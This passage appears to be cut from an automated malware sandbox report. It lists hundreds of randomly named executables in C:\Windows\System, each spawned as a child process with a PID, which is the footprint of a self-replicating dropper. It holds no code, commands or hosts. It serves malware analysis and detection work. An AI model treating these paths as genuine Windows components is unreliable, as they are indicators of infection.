  C:\Windows\System\eTdkMfE.exe
  2⤵
  PID:6292
- C:\Windows\System\zRxEdtl.exe
  C:\Windows\System\zRxEdtl.exe
  2⤵
  PID:6256
- C:\Windows\System\trjWsvT.exe
  C:\Windows\System\trjWsvT.exe
  2⤵
  PID:6152
- C:\Windows\System\TVbwMRy.exe
  C:\Windows\System\TVbwMRy.exe
  2⤵
  PID:5924
- C:\Windows\System\gIyJsNL.exe
  C:\Windows\System\gIyJsNL.exe
  2⤵
  PID:5820
- C:\Windows\System\SBZrpGC.exe
  C:\Windows\System\SBZrpGC.exe
  2⤵
  PID:2036
- C:\Windows\System\DZlTRHm.exe
  C:\Windows\System\DZlTRHm.exe
  2⤵
  PID:1536
- C:\Windows\System\ZfwFfjm.exe
  C:\Windows\System\ZfwFfjm.exe
  2⤵
  PID:5164
- C:\Windows\System\XygXwuz.exe
  C:\Windows\System\XygXwuz.exe
  2⤵
  PID:3812
- C:\Windows\System\iuLRola.exe
  C:\Windows\System\iuLRola.exe
  2⤵
  PID:7428
- C:\Windows\System\gXXBaMf.exe
  C:\Windows\System\gXXBaMf.exe
  2⤵
  PID:7708
- C:\Windows\System\zKxQIBa.exe
  C:\Windows\System\zKxQIBa.exe
  2⤵
  PID:4696
- C:\Windows\System\MRroYpS.exe
  C:\Windows\System\MRroYpS.exe
  2⤵
  PID:7208
- C:\Windows\System\tVHCNOc.exe
  C:\Windows\System\tVHCNOc.exe
  2⤵
  PID:7320
- C:\Windows\System\aoSuuUd.exe
  C:\Windows\System\aoSuuUd.exe
  2⤵
  PID:7684
- C:\Windows\System\mfSBHab.exe
  C:\Windows\System\mfSBHab.exe
  2⤵
  PID:7860
- C:\Windows\System\GjKIGwL.exe
  C:\Windows\System\GjKIGwL.exe
  2⤵
  PID:8012
- C:\Windows\System\ObhaiXV.exe
  C:\Windows\System\ObhaiXV.exe
  2⤵
  PID:8096
- C:\Windows\System\DctmODR.exe
  C:\Windows\System\DctmODR.exe
  2⤵
  PID:6092
- C:\Windows\System\YDaHlKf.exe
  C:\Windows\System\YDaHlKf.exe
  2⤵
  PID:1880
- C:\Windows\System\jImATYG.exe
  C:\Windows\System\jImATYG.exe
  2⤵
  PID:2500
- C:\Windows\System\fomwioG.exe
  C:\Windows\System\fomwioG.exe
  2⤵
  PID:1212
- C:\Windows\System\mOqjHpJ.exe
  C:\Windows\System\mOqjHpJ.exe
  2⤵
  PID:3300
- C:\Windows\System\NudEOqP.exe
  C:\Windows\System\NudEOqP.exe
  2⤵
  PID:3412
- C:\Windows\System\zsUGnSd.exe
  C:\Windows\System\zsUGnSd.exe
  2⤵
  PID:1248
- C:\Windows\System\TnVOtPt.exe
  C:\Windows\System\TnVOtPt.exe
  2⤵
  PID:3604
- C:\Windows\System\AViHzCe.exe
  C:\Windows\System\AViHzCe.exe
  2⤵
  PID:3188
- C:\Windows\System\etqTVzm.exe
  C:\Windows\System\etqTVzm.exe
  2⤵
  PID:1036
- C:\Windows\System\unLPmha.exe
  C:\Windows\System\unLPmha.exe
  2⤵
  PID:5336
- C:\Windows\System\rYrcRCB.exe
  C:\Windows\System\rYrcRCB.exe
  2⤵
  PID:1700
- C:\Windows\System\CIHIOok.exe
  C:\Windows\System\CIHIOok.exe
  2⤵
  PID:4272
- C:\Windows\System\reUZPtZ.exe
  C:\Windows\System\reUZPtZ.exe
  2⤵
  PID:5328
- C:\Windows\System\shGlwye.exe
  C:\Windows\System\shGlwye.exe
  2⤵
  PID:5944
- C:\Windows\System\gaTzcrY.exe
  C:\Windows\System\gaTzcrY.exe
  2⤵
  PID:7256
- C:\Windows\System\RhOtsZW.exe
  C:\Windows\System\RhOtsZW.exe
  2⤵
  PID:7300
- C:\Windows\System\AfHPZUj.exe
  C:\Windows\System\AfHPZUj.exe
  2⤵
  PID:7408
- C:\Windows\System\DPlcgNg.exe
  C:\Windows\System\DPlcgNg.exe
  2⤵
  PID:7504
- C:\Windows\System\gcdhAIS.exe
  C:\Windows\System\gcdhAIS.exe
  2⤵
  PID:7592
- C:\Windows\System\GmfMETH.exe
  C:\Windows\System\GmfMETH.exe
  2⤵
  PID:7672
- C:\Windows\System\TUlfNfp.exe
  C:\Windows\System\TUlfNfp.exe
  2⤵
  PID:7756
- C:\Windows\System\nEsNKLF.exe
  C:\Windows\System\nEsNKLF.exe
  2⤵
  PID:7872
- C:\Windows\System\XWZoGPA.exe
  C:\Windows\System\XWZoGPA.exe
  2⤵
  PID:8052
- C:\Windows\System\PBtztaY.exe
  C:\Windows\System\PBtztaY.exe
  2⤵
  PID:8188
- C:\Windows\System\jztvalV.exe
  C:\Windows\System\jztvalV.exe
  2⤵
  PID:8208
- C:\Windows\System\dwmvJoe.exe
  C:\Windows\System\dwmvJoe.exe
  2⤵
  PID:8232
- C:\Windows\System\JJSYvhp.exe
  C:\Windows\System\JJSYvhp.exe
  2⤵
  PID:8252
- C:\Windows\System\BOqsnZf.exe
  C:\Windows\System\BOqsnZf.exe
  2⤵
  PID:8272
- C:\Windows\System\hESrqVn.exe
  C:\Windows\System\hESrqVn.exe
  2⤵
  PID:8296
- C:\Windows\System\MpthmVT.exe
  C:\Windows\System\MpthmVT.exe
  2⤵
  PID:8312
- C:\Windows\System\DKtaTOc.exe
  C:\Windows\System\DKtaTOc.exe
  2⤵
  PID:8336
- C:\Windows\System\ssRbIuD.exe
  C:\Windows\System\ssRbIuD.exe
  2⤵
  PID:8360
- C:\Windows\System\KqxRTFO.exe
  C:\Windows\System\KqxRTFO.exe
  2⤵
  PID:8376
- C:\Windows\System\vjLDpTB.exe
  C:\Windows\System\vjLDpTB.exe
  2⤵
  PID:8400
- C:\Windows\System\uQTJqaZ.exe
  C:\Windows\System\uQTJqaZ.exe
  2⤵
  PID:8420
- C:\Windows\System\aVyVaaT.exe
  C:\Windows\System\aVyVaaT.exe
  2⤵
  PID:8436
- C:\Windows\System\aBAHYdW.exe
  C:\Windows\System\aBAHYdW.exe
  2⤵
  PID:8452
- C:\Windows\System\wAHUGtR.exe
  C:\Windows\System\wAHUGtR.exe
  2⤵
  PID:8472
- C:\Windows\System\fgDddqd.exe
  C:\Windows\System\fgDddqd.exe
  2⤵
  PID:8496
- C:\Windows\System\EGBdgKv.exe
  C:\Windows\System\EGBdgKv.exe
  2⤵
  PID:8512
- C:\Windows\System\kpQrxhH.exe
  C:\Windows\System\kpQrxhH.exe
  2⤵
  PID:8536
- C:\Windows\System\AMpTcxj.exe
  C:\Windows\System\AMpTcxj.exe
  2⤵
  PID:8560
- C:\Windows\System\YYeiAyY.exe
  C:\Windows\System\YYeiAyY.exe
  2⤵
  PID:8580
- C:\Windows\System\hUsMbWZ.exe
  C:\Windows\System\hUsMbWZ.exe
  2⤵
  PID:8604
- C:\Windows\System\weeLMAZ.exe
  C:\Windows\System\weeLMAZ.exe
  2⤵
  PID:8628
- C:\Windows\System\gRjGGEd.exe
  C:\Windows\System\gRjGGEd.exe
  2⤵
  PID:8684
- C:\Windows\System\SqggduK.exe
  C:\Windows\System\SqggduK.exe
  2⤵
  PID:8708
- C:\Windows\System\drsxIaD.exe
  C:\Windows\System\drsxIaD.exe
  2⤵
  PID:8732
- C:\Windows\System\dfahSMo.exe
  C:\Windows\System\dfahSMo.exe
  2⤵
  PID:8752
- C:\Windows\System\jMBafrf.exe
  C:\Windows\System\jMBafrf.exe
  2⤵
  PID:8772
- C:\Windows\System\KURnVVL.exe
  C:\Windows\System\KURnVVL.exe
  2⤵
  PID:8804
- C:\Windows\System\wNrkyda.exe
  C:\Windows\System\wNrkyda.exe
  2⤵
  PID:8832
- C:\Windows\System\nkrXqJz.exe
  C:\Windows\System\nkrXqJz.exe
  2⤵
  PID:8852
- C:\Windows\System\bWqREzn.exe
  C:\Windows\System\bWqREzn.exe
  2⤵
  PID:8876
- C:\Windows\System\sPGnDVl.exe
  C:\Windows\System\sPGnDVl.exe
  2⤵
  PID:8900
- C:\Windows\System\qblntDe.exe
  C:\Windows\System\qblntDe.exe
  2⤵
  PID:8920
- C:\Windows\System\cDLqhSl.exe
  C:\Windows\System\cDLqhSl.exe
  2⤵
  PID:8940
- C:\Windows\System\HzlMHsf.exe
  C:\Windows\System\HzlMHsf.exe
  2⤵
  PID:8960
- C:\Windows\System\NmYAdiJ.exe
  C:\Windows\System\NmYAdiJ.exe
  2⤵
  PID:8988
- C:\Windows\System\oYFrwZw.exe
  C:\Windows\System\oYFrwZw.exe
  2⤵
  PID:9004
- C:\Windows\System\MNCnWIP.exe
  C:\Windows\System\MNCnWIP.exe
  2⤵
  PID:9028
- C:\Windows\System\MmDssrd.exe
  C:\Windows\System\MmDssrd.exe
  2⤵
  PID:9052
- C:\Windows\System\XJfqaoS.exe
  C:\Windows\System\XJfqaoS.exe
  2⤵
  PID:9068
- C:\Windows\System\mJyYnxV.exe
  C:\Windows\System\mJyYnxV.exe
  2⤵
  PID:9096
- C:\Windows\System\WwlVoii.exe
  C:\Windows\System\WwlVoii.exe
  2⤵
  PID:9112
- C:\Windows\System\yToyzri.exe
  C:\Windows\System\yToyzri.exe
  2⤵
  PID:9132
- C:\Windows\System\TbRXGBf.exe
  C:\Windows\System\TbRXGBf.exe
  2⤵
  PID:9152
- C:\Windows\System\HkuAfAY.exe
  C:\Windows\System\HkuAfAY.exe
  2⤵
  PID:9176
- C:\Windows\System\MvvhqLj.exe
  C:\Windows\System\MvvhqLj.exe
  2⤵
  PID:9196
- C:\Windows\System\mXASbNf.exe
  C:\Windows\System\mXASbNf.exe
  2⤵
  PID:6392
- C:\Windows\System\QByLfHm.exe
  C:\Windows\System\QByLfHm.exe
  2⤵
  PID:5856
- C:\Windows\System\POktUwS.exe
  C:\Windows\System\POktUwS.exe
  2⤵
  PID:7160
- C:\Windows\System\NiMXXWq.exe
  C:\Windows\System\NiMXXWq.exe
  2⤵
  PID:4884
- C:\Windows\System\guMDVsG.exe
  C:\Windows\System\guMDVsG.exe
  2⤵
  PID:6868
- C:\Windows\System\KZFUQog.exe
  C:\Windows\System\KZFUQog.exe
  2⤵
  PID:5712
- C:\Windows\System\JXxyOmA.exe
  C:\Windows\System\JXxyOmA.exe
  2⤵
  PID:7484
- C:\Windows\System\aZpegPq.exe
  C:\Windows\System\aZpegPq.exe
  2⤵
  PID:6636
- C:\Windows\System\sHZmBaV.exe
  C:\Windows\System\sHZmBaV.exe
  2⤵
  PID:6276
- C:\Windows\System\rRVCWjZ.exe
  C:\Windows\System\rRVCWjZ.exe
  2⤵
  PID:9244
- C:\Windows\System\fEwvHIH.exe
  C:\Windows\System\fEwvHIH.exe
  2⤵
  PID:9264
- C:\Windows\System\xhAkbHI.exe
  C:\Windows\System\xhAkbHI.exe
  2⤵
  PID:9288
- C:\Windows\System\VGVekPy.exe
  C:\Windows\System\VGVekPy.exe
  2⤵
  PID:9316
- C:\Windows\System\aVRZXyR.exe
  C:\Windows\System\aVRZXyR.exe
  2⤵
  PID:9340
- C:\Windows\System\wwETfnv.exe
  C:\Windows\System\wwETfnv.exe
  2⤵
  PID:9368
- C:\Windows\System\PbMsPZP.exe
  C:\Windows\System\PbMsPZP.exe
  2⤵
  PID:9396
- C:\Windows\System\XRkEahg.exe
  C:\Windows\System\XRkEahg.exe
  2⤵
  PID:9428
- C:\Windows\System\haiatsx.exe
  C:\Windows\System\haiatsx.exe
  2⤵
  PID:9448
- C:\Windows\System\yJxOOuC.exe
  C:\Windows\System\yJxOOuC.exe
  2⤵
  PID:9476
- C:\Windows\System\NqWuZQp.exe
  C:\Windows\System\NqWuZQp.exe
  2⤵
  PID:9492
- C:\Windows\System\EAftWZE.exe
  C:\Windows\System\EAftWZE.exe
  2⤵
  PID:9516
- C:\Windows\System\AEBnLvR.exe
  C:\Windows\System\AEBnLvR.exe
  2⤵
  PID:9540
- C:\Windows\System\DFSWFGk.exe
  C:\Windows\System\DFSWFGk.exe
  2⤵
  PID:9576
- C:\Windows\System\vGhKGdW.exe
  C:\Windows\System\vGhKGdW.exe
  2⤵
  PID:9592
- C:\Windows\System\LGfxGwB.exe
  C:\Windows\System\LGfxGwB.exe
  2⤵
  PID:9620
- C:\Windows\System\qyrpIGp.exe
  C:\Windows\System\qyrpIGp.exe
  2⤵
  PID:9648
- C:\Windows\System\eDKUDkU.exe
  C:\Windows\System\eDKUDkU.exe
  2⤵
  PID:9664
- C:\Windows\System\jqVTeFj.exe
  C:\Windows\System\jqVTeFj.exe
  2⤵
  PID:9692
- C:\Windows\System\dNfhJbD.exe
  C:\Windows\System\dNfhJbD.exe
  2⤵
  PID:9712
- C:\Windows\System\faSbejj.exe
  C:\Windows\System\faSbejj.exe
  2⤵
  PID:9740
- C:\Windows\System\kpZvFPi.exe
  C:\Windows\System\kpZvFPi.exe
  2⤵
  PID:9772
- C:\Windows\System\OFSaWpE.exe
  C:\Windows\System\OFSaWpE.exe
  2⤵
  PID:9788
- C:\Windows\System\fkixuVD.exe
  C:\Windows\System\fkixuVD.exe
  2⤵
  PID:9808
- C:\Windows\System\KBZakGR.exe
  C:\Windows\System\KBZakGR.exe
  2⤵
  PID:9828
- C:\Windows\System\YwdEGiu.exe
  C:\Windows\System\YwdEGiu.exe
  2⤵
  PID:9852
- C:\Windows\System\DbatBPk.exe
  C:\Windows\System\DbatBPk.exe
  2⤵
  PID:9876
- C:\Windows\System\OxMVVDw.exe
  C:\Windows\System\OxMVVDw.exe
  2⤵
  PID:9896
- C:\Windows\System\qBTycqL.exe
  C:\Windows\System\qBTycqL.exe
  2⤵
  PID:9916
- C:\Windows\System\bmbfeMX.exe
  C:\Windows\System\bmbfeMX.exe
  2⤵
  PID:9940
- C:\Windows\System\bKZOSbB.exe
  C:\Windows\System\bKZOSbB.exe
  2⤵
  PID:9960
- C:\Windows\System\ddqCFXZ.exe
  C:\Windows\System\ddqCFXZ.exe
  2⤵
  PID:9980
- C:\Windows\System\qCWpQxQ.exe
  C:\Windows\System\qCWpQxQ.exe
  2⤵
  PID:10004
- C:\Windows\System\RhHPiZG.exe
  C:\Windows\System\RhHPiZG.exe
  2⤵
  PID:10020
- C:\Windows\System\ctgzHDf.exe
  C:\Windows\System\ctgzHDf.exe
  2⤵
  PID:10044
- C:\Windows\System\MUiniyv.exe
  C:\Windows\System\MUiniyv.exe
  2⤵
  PID:10072
- C:\Windows\System\qYFmHPb.exe
  C:\Windows\System\qYFmHPb.exe
  2⤵
  PID:10092
- C:\Windows\System\jkqkWxa.exe
  C:\Windows\System\jkqkWxa.exe
  2⤵
  PID:10108
- C:\Windows\System\NCfPXiK.exe
  C:\Windows\System\NCfPXiK.exe
  2⤵
  PID:10132
- C:\Windows\System\HgJeJHp.exe
  C:\Windows\System\HgJeJHp.exe
  2⤵
  PID:10152
- C:\Windows\System\InodHvh.exe
  C:\Windows\System\InodHvh.exe
  2⤵
  PID:10172
- C:\Windows\System\lUoAihH.exe
  C:\Windows\System\lUoAihH.exe
  2⤵
  PID:10192
- C:\Windows\System\ezYcSDx.exe
  C:\Windows\System\ezYcSDx.exe
  2⤵
  PID:10208
- C:\Windows\System\mzFTuUZ.exe
  C:\Windows\System\mzFTuUZ.exe
  2⤵
  PID:6264
- C:\Windows\System\IdNIuyo.exe
  C:\Windows\System\IdNIuyo.exe
  2⤵
  PID:7060
- C:\Windows\System\xAaQeDs.exe
  C:\Windows\System\xAaQeDs.exe
  2⤵
  PID:7380
- C:\Windows\System\iXrsDFx.exe
  C:\Windows\System\iXrsDFx.exe
  2⤵
  PID:7316
- C:\Windows\System\uKxPMak.exe
  C:\Windows\System\uKxPMak.exe
  2⤵
  PID:7792
- C:\Windows\System\zLwPlTj.exe
  C:\Windows\System\zLwPlTj.exe
  2⤵
  PID:8184
- C:\Windows\System\qunUpPI.exe
  C:\Windows\System\qunUpPI.exe
  2⤵
  PID:4932
- C:\Windows\System\iQmzGCV.exe
  C:\Windows\System\iQmzGCV.exe
  2⤵
  PID:1188
- C:\Windows\System\DlIsHoH.exe
  C:\Windows\System\DlIsHoH.exe
  2⤵
  PID:5348
- C:\Windows\System\jUJcBmP.exe
  C:\Windows\System\jUJcBmP.exe
  2⤵
  PID:7220
- C:\Windows\System\tdMkQTA.exe
  C:\Windows\System\tdMkQTA.exe
  2⤵
  PID:7280
- C:\Windows\System\RpCQzrh.exe
  C:\Windows\System\RpCQzrh.exe
  2⤵
  PID:8220
- C:\Windows\System\RsBUAzI.exe
  C:\Windows\System\RsBUAzI.exe
  2⤵
  PID:8292
- C:\Windows\System\uRBQyMM.exe
  C:\Windows\System\uRBQyMM.exe
  2⤵
  PID:8328
- C:\Windows\System\vxjhiVk.exe
  C:\Windows\System\vxjhiVk.exe
  2⤵
  PID:8428
- C:\Windows\System\cyiemSz.exe
  C:\Windows\System\cyiemSz.exe
  2⤵
  PID:3944
- C:\Windows\System\TlvrPZv.exe
  C:\Windows\System\TlvrPZv.exe
  2⤵
  PID:8544
- C:\Windows\System\vfpVdZG.exe
  C:\Windows\System\vfpVdZG.exe
  2⤵
  PID:8600
- C:\Windows\System\qVepBFo.exe
  C:\Windows\System\qVepBFo.exe
  2⤵
  PID:8700
- C:\Windows\System\NpeyuAl.exe
  C:\Windows\System\NpeyuAl.exe
  2⤵
  PID:6680
- C:\Windows\System\QxQxSxa.exe
  C:\Windows\System\QxQxSxa.exe
  2⤵
  PID:8744
- C:\Windows\System\UmXlGEQ.exe
  C:\Windows\System\UmXlGEQ.exe
  2⤵
  PID:6836
- C:\Windows\System\pEzocvE.exe
  C:\Windows\System\pEzocvE.exe
  2⤵
  PID:5828
- C:\Windows\System\DGfBEvi.exe
  C:\Windows\System\DGfBEvi.exe
  2⤵
  PID:6016
- C:\Windows\System\oBwbCbJ.exe
  C:\Windows\System\oBwbCbJ.exe
  2⤵
  PID:6088
- C:\Windows\System\LsWyYbn.exe
  C:\Windows\System\LsWyYbn.exe
  2⤵
  PID:8952
- C:\Windows\System\AhnpJBE.exe
  C:\Windows\System\AhnpJBE.exe
  2⤵
  PID:9060
- C:\Windows\System\zkEPPRT.exe
  C:\Windows\System\zkEPPRT.exe
  2⤵
  PID:10248
- C:\Windows\System\THxSIry.exe
  C:\Windows\System\THxSIry.exe
  2⤵
  PID:10272
- C:\Windows\System\fOdskvH.exe
  C:\Windows\System\fOdskvH.exe
  2⤵
  PID:10288
- C:\Windows\System\YfiwreD.exe
  C:\Windows\System\YfiwreD.exe
  2⤵
  PID:10312
- C:\Windows\System\gjuOIsx.exe
  C:\Windows\System\gjuOIsx.exe
  2⤵
  PID:10340
- C:\Windows\System\hiTXfUu.exe
  C:\Windows\System\hiTXfUu.exe
  2⤵
  PID:10360
- C:\Windows\System\XXkkucD.exe
  C:\Windows\System\XXkkucD.exe
  2⤵
  PID:10384
- C:\Windows\System\iowHrlv.exe
  C:\Windows\System\iowHrlv.exe
  2⤵
  PID:10404
- C:\Windows\System\kFFwsjY.exe
  C:\Windows\System\kFFwsjY.exe
  2⤵
  PID:10424
- C:\Windows\System\jJCaoNS.exe
  C:\Windows\System\jJCaoNS.exe
  2⤵
  PID:10448
- C:\Windows\System\ClvoQga.exe
  C:\Windows\System\ClvoQga.exe
  2⤵
  PID:10464
- C:\Windows\System\rTgzZpY.exe
  C:\Windows\System\rTgzZpY.exe
  2⤵
  PID:10488
- C:\Windows\System\mmwWMis.exe
  C:\Windows\System\mmwWMis.exe
  2⤵
  PID:10512
- C:\Windows\System\MrtDVka.exe
  C:\Windows\System\MrtDVka.exe
  2⤵
  PID:10532
- C:\Windows\System\VBaXnnR.exe
  C:\Windows\System\VBaXnnR.exe
  2⤵
  PID:10560
- C:\Windows\System\TMrWDlW.exe
  C:\Windows\System\TMrWDlW.exe
  2⤵
  PID:10580
- C:\Windows\System\GaKsuww.exe
  C:\Windows\System\GaKsuww.exe
  2⤵
  PID:10600
- C:\Windows\System\JRBQYpz.exe
  C:\Windows\System\JRBQYpz.exe
  2⤵
  PID:10624
- C:\Windows\System\DFqDqQN.exe
  C:\Windows\System\DFqDqQN.exe
  2⤵
  PID:10644
- C:\Windows\System\HHqhNRk.exe
  C:\Windows\System\HHqhNRk.exe
  2⤵
  PID:10672
- C:\Windows\System\MBDfFlJ.exe
  C:\Windows\System\MBDfFlJ.exe
  2⤵
  PID:10688
- C:\Windows\System\iReblex.exe
  C:\Windows\System\iReblex.exe
  2⤵
  PID:10716
- C:\Windows\System\DAoNphY.exe
  C:\Windows\System\DAoNphY.exe
  2⤵
  PID:10736
- C:\Windows\System\SHxJpEZ.exe
  C:\Windows\System\SHxJpEZ.exe
  2⤵
  PID:10756
- C:\Windows\System\ZTUjxRv.exe
  C:\Windows\System\ZTUjxRv.exe
  2⤵
  PID:10776
- C:\Windows\System\jSCMxew.exe
  C:\Windows\System\jSCMxew.exe
  2⤵
  PID:10796
- C:\Windows\System\HBHmOMr.exe
  C:\Windows\System\HBHmOMr.exe
  2⤵
  PID:10820
- C:\Windows\System\kTufuKw.exe
  C:\Windows\System\kTufuKw.exe
  2⤵
  PID:10844
- C:\Windows\System\BNRYMkv.exe
  C:\Windows\System\BNRYMkv.exe
  2⤵
  PID:10860
- C:\Windows\System\iiKgBrk.exe
  C:\Windows\System\iiKgBrk.exe
  2⤵
  PID:10876
- C:\Windows\System\xaOaDAi.exe
  C:\Windows\System\xaOaDAi.exe
  2⤵
  PID:10900
- C:\Windows\System\YXhNetU.exe
  C:\Windows\System\YXhNetU.exe
  2⤵
  PID:10916
- C:\Windows\System\XtTRaCD.exe
  C:\Windows\System\XtTRaCD.exe
  2⤵
  PID:10940
- C:\Windows\System\TSscMOe.exe
  C:\Windows\System\TSscMOe.exe
  2⤵
  PID:10956
- C:\Windows\System\CyszRuJ.exe
  C:\Windows\System\CyszRuJ.exe
  2⤵
  PID:10980
- C:\Windows\System\PqPGhtr.exe
  C:\Windows\System\PqPGhtr.exe
  2⤵
  PID:10996
- C:\Windows\System\WfDhWeZ.exe
  C:\Windows\System\WfDhWeZ.exe
  2⤵
  PID:11024
- C:\Windows\System\EnIwYxf.exe
  C:\Windows\System\EnIwYxf.exe
  2⤵
  PID:11052
- C:\Windows\System\qVvzpQK.exe
  C:\Windows\System\qVvzpQK.exe
  2⤵
  PID:11068
- C:\Windows\System\fqJSATZ.exe
  C:\Windows\System\fqJSATZ.exe
  2⤵
  PID:11084
- C:\Windows\System\THdCtxj.exe
  C:\Windows\System\THdCtxj.exe
  2⤵
  PID:11108
- C:\Windows\System\XbYbdPr.exe
  C:\Windows\System\XbYbdPr.exe
  2⤵
  PID:11124
- C:\Windows\System\ALDMLfU.exe
  C:\Windows\System\ALDMLfU.exe
  2⤵
  PID:11144
- C:\Windows\System\RlpKtjp.exe
  C:\Windows\System\RlpKtjp.exe
  2⤵
  PID:11168
- C:\Windows\System\TLDGgUV.exe
  C:\Windows\System\TLDGgUV.exe
  2⤵
  PID:11188
- C:\Windows\System\JawWbtg.exe
  C:\Windows\System\JawWbtg.exe
  2⤵
  PID:11212
- C:\Windows\System\GWlbBiF.exe
  C:\Windows\System\GWlbBiF.exe
  2⤵
  PID:11244
- C:\Windows\System\tOJlbsJ.exe
  C:\Windows\System\tOJlbsJ.exe
  2⤵
  PID:9184
- C:\Windows\System\vEysatP.exe
  C:\Windows\System\vEysatP.exe
  2⤵
  PID:7084
- C:\Windows\System\jVyMiAn.exe
  C:\Windows\System\jVyMiAn.exe
  2⤵
  PID:7004
- C:\Windows\System\yZPtjCX.exe
  C:\Windows\System\yZPtjCX.exe
  2⤵
  PID:6344
- C:\Windows\System\WUbTCKV.exe
  C:\Windows\System\WUbTCKV.exe
  2⤵
  PID:5700
- C:\Windows\System\WxOyEox.exe
  C:\Windows\System\WxOyEox.exe
  2⤵
  PID:7752
- C:\Windows\System\EfIDauN.exe
  C:\Windows\System\EfIDauN.exe
  2⤵
  PID:3248
- C:\Windows\System\VqtFkZT.exe
  C:\Windows\System\VqtFkZT.exe
  2⤵
  PID:528
- C:\Windows\System\ASRYkqE.exe
  C:\Windows\System\ASRYkqE.exe
  2⤵
  PID:7632
- C:\Windows\System\XmggqoD.exe
  C:\Windows\System\XmggqoD.exe
  2⤵
  PID:9612
- C:\Windows\System\DJQeCHK.exe
  C:\Windows\System\DJQeCHK.exe
  2⤵
  PID:9724
- C:\Windows\System\HCjAPym.exe
  C:\Windows\System\HCjAPym.exe
  2⤵
  PID:8444
- C:\Windows\System\WtCDSMe.exe
  C:\Windows\System\WtCDSMe.exe
  2⤵
  PID:8504
- C:\Windows\System\LmtHZEc.exe
  C:\Windows\System\LmtHZEc.exe
  2⤵
  PID:10116
- C:\Windows\System\JrNgNgR.exe
  C:\Windows\System\JrNgNgR.exe
  2⤵
  PID:6760
- C:\Windows\System\MsTyeMP.exe
  C:\Windows\System\MsTyeMP.exe
  2⤵
  PID:11284
- C:\Windows\System\FaBUzIF.exe
  C:\Windows\System\FaBUzIF.exe
  2⤵
  PID:11308
- C:\Windows\System\aKllMlq.exe
  C:\Windows\System\aKllMlq.exe
  2⤵
  PID:11332
- C:\Windows\System\miHdoEa.exe
  C:\Windows\System\miHdoEa.exe
  2⤵
  PID:11348
- C:\Windows\System\cQHWTmm.exe
  C:\Windows\System\cQHWTmm.exe
  2⤵
  PID:11376
- C:\Windows\System\OCczbkf.exe
  C:\Windows\System\OCczbkf.exe
  2⤵
  PID:11424
- C:\Windows\System\ZEkOyae.exe
  C:\Windows\System\ZEkOyae.exe
  2⤵
  PID:11448
- C:\Windows\System\Hzxlnwh.exe
  C:\Windows\System\Hzxlnwh.exe
  2⤵
  PID:11468
- C:\Windows\System\hbwzhoM.exe
  C:\Windows\System\hbwzhoM.exe
  2⤵
  PID:11492
- C:\Windows\System\nyBFRxq.exe
  C:\Windows\System\nyBFRxq.exe
  2⤵
  PID:11516
- C:\Windows\System\NyxHvZR.exe
  C:\Windows\System\NyxHvZR.exe
  2⤵
  PID:11532
- C:\Windows\System\uhVusGu.exe
  C:\Windows\System\uhVusGu.exe
  2⤵
  PID:11556
- C:\Windows\System\ATivhaN.exe
  C:\Windows\System\ATivhaN.exe
  2⤵
  PID:11584
- C:\Windows\System\cQTJnFj.exe
  C:\Windows\System\cQTJnFj.exe
  2⤵
  PID:11604
- C:\Windows\System\aIqsdhX.exe
  C:\Windows\System\aIqsdhX.exe
  2⤵
  PID:11624
- C:\Windows\System\SHeVVvC.exe
  C:\Windows\System\SHeVVvC.exe
  2⤵
  PID:11648
- C:\Windows\System\GCSRyaw.exe
  C:\Windows\System\GCSRyaw.exe
  2⤵
  PID:11668
- C:\Windows\System\kWMNBML.exe
  C:\Windows\System\kWMNBML.exe
  2⤵
  PID:11692
- C:\Windows\System\FsqUcue.exe
  C:\Windows\System\FsqUcue.exe
  2⤵
  PID:11712
- C:\Windows\System\XYtRLLy.exe
  C:\Windows\System\XYtRLLy.exe
  2⤵
  PID:11732
- C:\Windows\System\aBVZDHe.exe
  C:\Windows\System\aBVZDHe.exe
  2⤵
  PID:11760
- C:\Windows\System\igIdyss.exe
  C:\Windows\System\igIdyss.exe
  2⤵
  PID:11780
- C:\Windows\System\KGONxlz.exe
  C:\Windows\System\KGONxlz.exe
  2⤵
  PID:11800
- C:\Windows\System\QZrlhGr.exe
  C:\Windows\System\QZrlhGr.exe
  2⤵
  PID:11836
- C:\Windows\System\UbGawzo.exe
  C:\Windows\System\UbGawzo.exe
  2⤵
  PID:11880
- C:\Windows\System\cYqociB.exe
  C:\Windows\System\cYqociB.exe
  2⤵
  PID:11904
- C:\Windows\System\TQcOiXg.exe
  C:\Windows\System\TQcOiXg.exe
  2⤵
  PID:11936
- C:\Windows\System\rQiEIfu.exe
  C:\Windows\System\rQiEIfu.exe
  2⤵
  PID:11952
- C:\Windows\System\WTvzMhe.exe
  C:\Windows\System\WTvzMhe.exe
  2⤵
  PID:11984
- C:\Windows\System\DLhwXDg.exe
  C:\Windows\System\DLhwXDg.exe
  2⤵
  PID:12004
- C:\Windows\System\YMceZZI.exe
  C:\Windows\System\YMceZZI.exe
  2⤵
  PID:2292
- C:\Windows\System\VzgqXoy.exe
  C:\Windows\System\VzgqXoy.exe
  2⤵
  PID:8280
- C:\Windows\System\wUIVIMY.exe
  C:\Windows\System\wUIVIMY.exe
  2⤵
  PID:8448
- C:\Windows\System\GlOaWna.exe
  C:\Windows\System\GlOaWna.exe
  2⤵
  PID:8552
- C:\Windows\System\YlwyGhD.exe
  C:\Windows\System\YlwyGhD.exe
  2⤵
  PID:6732
- C:\Windows\System\upEJZoq.exe
  C:\Windows\System\upEJZoq.exe
  2⤵
  PID:776
- C:\Windows\System\hMzecqi.exe
  C:\Windows\System\hMzecqi.exe
  2⤵
  PID:10260
- C:\Windows\System\IernNVa.exe
  C:\Windows\System\IernNVa.exe
  2⤵
  PID:10308
- C:\Windows\System\QZNPirD.exe
  C:\Windows\System\QZNPirD.exe
  2⤵
  PID:10520
- C:\Windows\System\XCtAWEO.exe
  C:\Windows\System\XCtAWEO.exe
  2⤵
  PID:10616
- C:\Windows\System\YqxjWiT.exe
  C:\Windows\System\YqxjWiT.exe
  2⤵
  PID:10660
- C:\Windows\System\bPYgpbi.exe
  C:\Windows\System\bPYgpbi.exe
  2⤵
  PID:10708
- C:\Windows\System\QMrLdwa.exe
  C:\Windows\System\QMrLdwa.exe
  2⤵
  PID:10748
- C:\Windows\System\rafSjnA.exe
  C:\Windows\System\rafSjnA.exe
  2⤵
  PID:9232
- C:\Windows\System\aPuxFon.exe
  C:\Windows\System\aPuxFon.exe
  2⤵
  PID:9256
- C:\Windows\System\EporbLt.exe
  C:\Windows\System\EporbLt.exe
  2⤵
  PID:10816
- C:\Windows\System\CtiZBTR.exe
  C:\Windows\System\CtiZBTR.exe
  2⤵
  PID:12216
- C:\Windows\System\hyWFqkm.exe
  C:\Windows\System\hyWFqkm.exe
